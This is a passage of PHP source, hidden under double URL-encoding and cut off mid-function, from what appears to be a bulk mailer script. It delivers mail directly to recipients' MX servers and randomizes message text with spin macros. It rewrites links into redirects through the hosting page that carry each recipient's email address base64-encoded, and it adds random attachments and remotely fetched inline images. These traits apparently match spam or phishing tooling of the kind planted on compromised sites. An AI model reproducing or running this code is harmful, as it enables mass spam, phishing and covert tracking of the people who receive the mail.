%2520%2520%2520%2520private%2520function%2520get_mx_records%2528%2524domain%252C%2520%2524usea%2520%253D%2520true%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524mx_records%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524weights%2520%2520%2520%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528function_exists%2528%2527getmxrr%2527%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540getmxrr%2528%2524domain%252C%2520%2524mx_records%252C%2520%2524weights%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524mx_records%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540array_multisort%2528%2524weights%252C%2520%2524mx_records%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524mx_records%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528function_exists%2528%2527dns_get_record%2527%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524drec%2520%253D%2520%2540dns_get_record%2528%2524domain%252C%2520DNS_MX%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524drec%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524drec%2520as%2520%2524mx%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524mx%255B%2527target%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524mx_records%255B%255D%2520%253D%2520%2524mx%255B%2527target%2527%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524weights%255B%255D%2520%2520%2520%2520%253D%2520isset%2528%2524mx%255B%2527pri%2527%255D%2529%2520%253F%2520%2524mx%255B%2527pri%2527%255D%2520%253A%252010%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524mx_records%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540array_multisort%2528%2524weights%252C%2520%2524mx_records%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524mx_records%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528%2524usea%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524arec%2520%253D%2520%2540dns_get_record%2528%2524domain%252C%2520DNS_A%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524arec%2529%2520%2526%2526%2520%2521empty%2528%2524arec%255B0%255D%255B%2527ip%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524mx_records%255B%255D%2520%253D%2520%2524arec%255B0%255D%255B%2527ip%2527%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524mx_records%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520format_smtp_host%2528%2524host%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540preg_match%2528%2527/%255E%2528%255Cd%257B1%252C3%257D%255C.%2529%257B3%257D%255Cd%257B1%252C3%257D%2524/%2527%252C%2520%2524host%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2522%255B%2524host%255D%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528strpos%2528%2524host%252C%2520%2527%253A%2527%2529%2520%2521%253D%253D%2520false%2520%2526%2526%2520%2540preg_match%2528%2527/%255E%2528%255B0-9a-fA-F%255D%257B1%252C4%257D%253A%2529%257B1%252C7%257D%255B0-9a-fA-F%255D%257B1%252C4%257D%2524/%2527%252C%2520%2524host%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2522%255B%2524host%255D%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524host%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520get_text_between%2528%2524str%252C%2520%2524start%252C%2520%2524end%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524pos_start%2520%253D%2520%2540strpos%2528%2524str%252C%2520%2524start%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pos_start%2520%253D%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524pos_end%2520%253D%2520%2540strpos%2528%2524str%252C%2520%2524end%252C%2520%2524pos_start%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524pos_end%2520%253D%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2540substr%2528%2524str%252C%2520%2524pos_start%2520%252B%2520strlen%2528%2524start%2529%252C%2520%2524pos_end%2520-%2520%2524pos_start%2520-%2520strlen%2528%2524start%2529%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520handle_data%2528%2524data%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ex%2520%253D%2520%2540explode%2528%2522%255Cn%2522%252C%2520%2524data%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2540trim%2528%2524ex%255Barray_rand%2528%2524ex%2529%255D%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520process_macros_random%2528%2524text%252C%2520%2524data%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540preg_match_all%2528%2527%2523%255C%255Bredirect%253A%2528.%252B%253F%2529%255C%255D%2523is%2527%252C%2520%2524text%252C%2520%2524rd%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540preg_match_all%2528%2527%2523%255C%257BrandM%253A%2528.%252B%253F%2529%255C%257D%2523is%2527%252C%2520%2524text%252C%2520%2524rdm%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524rd%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524rd%255B1%255D%2520as%2520%2524i%2520%253D%253E%2520%2524link%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524link_parts%2520%2520%253D%2520%2540explode%2528%2527%253E%253E%253E%2527%252C%2520%2524link%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524curl%2520%2520%2520%2520%2520%2520%2520%2520%253D%2520%2522http%253A//%2522.%2524this-%253Efulldomain.%2540%2524_SERVER%255B%2527REQUEST_URI%2527%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524redirect%2520%2520%2520%2520%253D%2520%2522l%253D%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524redirect%2520.%253D%2520trim%2528%2524link_parts%255B0%255D%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520for%2520%2528%2524z%253D1%253B%2520%2524z%253Ccount%2528%2524link_parts%2529%253B%2520%2524z%252B%252B%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528strpos%2528%2524link_parts%255B%2524z%255D%252C%2520%2527email%253A%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524redirect%2520.%253D%2520%2522%2526e%253D%2522.trim%2528%2524data%255B0%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528strpos%2528%2524link_parts%255B%2524z%255D%252C%2520%2527var%253A%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524vi%2520%253D%2520%2540explode%2528%2527%253A%2527%252C%2520%2524link_parts%255B%2524z%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524vi%255B1%255D%2529%2520%2526%2526%2520isset%2528%2524data%255B%2524vi%255B1%255D%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524redirect%2520.%253D%2520%2522%2526v%2522.%2524vi%255B1%255D.%2522%253D%2522.trim%2528%2524data%255B%2524vi%255B1%255D%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528strpos%2528%2524link_parts%255B%2524z%255D%252C%2520%2527link%253A%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524curl%2520%253D%2520%2540explode%2528%2527%253A%2527%252C%2520%2524link_parts%255B%2524z%255D%252C%25202%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524curl%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524curl%2520%253D%2520%2524curl%255B1%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524redirect%2520.%253D%2520%2522%2526%2522.%2524link_parts%255B%2524z%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524text%2520%253D%2520%2524this-%253Estr_replace_once%2528%2524rd%255B0%255D%255B%2524i%255D%252C%2520%2524curl.%2522%253Fr%253D%2522.base64_encode%2528%2524redirect%2529%252C%2520%2524text%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528strpos%2528%2524text%252C%2520%2527%255Bunsubscribe%253A%255D%2527%2529%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Eunsubscribe%2520%253D%25201%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524unsubscribe_url%2520%2520%2520%253D%2520%2522http%253A//%2522.%2524this-%253Efulldomain.%2540%2524_SERVER%255B%2527REQUEST_URI%2527%255D.%2522%253Fu%253D%2522.base64_encode%2528%2524data%255B0%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524text%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%253D%2520str_replace%2528%2527%255Bunsubscribe%253A%255D%2527%252C%2520%2524unsubscribe_url%252C%2520%2524text%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524rdm%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524rdm%255B1%255D%2520as%2520%2524i%2520%253D%253E%2520%2524rand_str%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524opts%2520%253D%2520explode%2528%2527%257C%2527%252C%2520%2524rand_str%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524found_exist%2520%253D%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524this-%253Erandm_array%2520as%2520%2524rk%2520%253D%253E%2520%2524rv%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524rv%255B0%255D%2520%253D%253D%2520%2524rdm%255B0%255D%255B%2524i%255D%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524text%2520%253D%2520str_replace%2528%2524rdm%255B0%255D%255B%2524i%255D%252C%2520%2524rv%255B1%255D%252C%2520%2524text%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524found_exist%2520%253D%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524found_exist%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sel%2520%253D%2520%2524opts%255Barray_rand%2528%2524opts%2529%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Erandm_array%255B%255D%2520%253D%2520array%2528%2524rdm%255B0%255D%255B%2524i%255D%252C%2520%2524sel%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524text%2520%253D%2520str_replace%2528%2524rdm%255B0%255D%255B%2524i%255D%252C%2520%2524sel%252C%2520%2524text%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540preg_match_all%2528%2527%2523%255C%255Bbase64%253A%2528.%252B%253F%2529%255C%255D%2523is%2527%252C%2520%2524text%252C%2520%2524resb%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524resb%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524resb%255B1%255D%2520as%2520%2524ii%2520%253D%253E%2520%2524b64%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540preg_match_all%2528%2527%2523%255C%257Bvar%253A%2528.%252B%253F%2529%255C%257D%2523is%2527%252C%2520%2524b64%252C%2520%2524vb%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524vb%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524vb%255B1%255D%2520as%2520%2524var_index%2520%253D%253E%2520%2524varn%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528is_numeric%2528%2524varn%2529%2520%2526%2526%2520isset%2528%2524data%255B%2524varn%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524b64%2520%253D%2520%2524this-%253Estr_replace_once%2528%2524vb%255B0%255D%255B%2524var_index%255D%252C%2520%2524data%255B%2524varn%255D%252C%2520%2524b64%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524text%2520%253D%2520%2524this-%253Estr_replace_once%2528%2524resb%255B0%255D%255B%2524ii%255D%252C%2520base64_encode%2528%2524b64%2529%252C%2520%2524text%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540preg_match_all%2528%2527%2523%255C%255Battachment%253A%2528.%252B%253F%2529%255C%255D%2523is%2527%252C%2520%2524text%252C%2520%2524att%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524att%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524att%255B1%255D%2520as%2520%2524i%2520%253D%253E%2520%2524at%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Eattachment_array%255B%255D%2520%253D%2520%2540explode%2528%2527%253E%253E%253E%2527%252C%2520%2524at%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524text%2520%253D%2520%2524this-%253Estr_replace_once%2528%2524att%255B0%255D%255B%2524i%255D%252C%2520%2527%2527%252C%2520%2524text%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540preg_match_all%2528%2527%2523%255C%255BattachmentM%253A%2528.%252B%253F%2529%255C%255D%2523is%2527%252C%2520%2524text%252C%2520%2524attm%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524attm%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524attm%255B1%255D%2520as%2520%2524i%2520%253D%253E%2520%2524atm%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524opts%2520%253D%2520%2540explode%2528%2527%253E%253E%253E%2527%252C%2520%2524atm%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524opts%255B0%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540preg_match_all%2528%2527%2523%255C%2528%2528.%252B%253F%2529%255C%2529%2523is%2527%252C%2520%2524opts%255B0%255D%252C%2520%2524r11%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524r11%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524r11%255B1%255D%2520as%2520%2524rg%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524range%2520%253D%2520%2540explode%2528%2527%252C%2527%252C%2520%2524rg%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528count%2528%2524range%2529%253D%253D2%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524rnd_val%2520%253D%2520rand%2528intval%2528%2524range%255B0%255D%2529%252C%2520intval%2528%2524range%255B1%255D%2529-1%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524opts%255B0%255D%2520%253D%2520%2524this-%253Estr_replace_once%2528%2524rg%252C%2520%2524rnd_val%252C%2520%2524opts%255B0%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524opts%255B0%255D%2520%253D%2520str_replace%2528array%2528%2527%2528%2527%252C%2527%2529%2527%2529%252C%2520%2527%2527%252C%2520%2524opts%255B0%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Eattachment_array%255B%255D%2520%253D%2520%2524opts%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524text%2520%253D%2520%2524this-%253Estr_replace_once%2528%2524attm%255B0%255D%255B%2524i%255D%252C%2520%2527%2527%252C%2520%2524text%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540preg_match_all%2528%2527%2523%255C%255Bimage64%253A%2528.%252B%253F%2529%255C%255D%2523is%2527%252C%2520%2524text%252C%2520%2524img64%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524img64%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524img_file%2520%253D%2520%2527image64_file.png%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524img64%255B1%255D%2520as%2520%2524k%2520%253D%253E%2520%2524url%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540file_put_contents%2528%2524img_file%252C%2520%2540file_get_contents%2528%2524url%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524img_data%2520%253D%2520%2540file_get_contents%2528%2524img_file%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524img_data%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524mtype%2520%253D%2520%2524this-%253Eget_mime_type%2528%2524img_file%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524data_img64%2520%253D%2520%2527data%253A%2527.%2524mtype.%2527%253Bbase64%252C%2527.base64_encode%2528%2524img_data%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524text%2520%253D%2520%2524this-%253Estr_replace_once%2528%2524img64%255B0%255D%255B%2524k%255D%252C%2520%2524data_img64%252C%2520%2524text%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520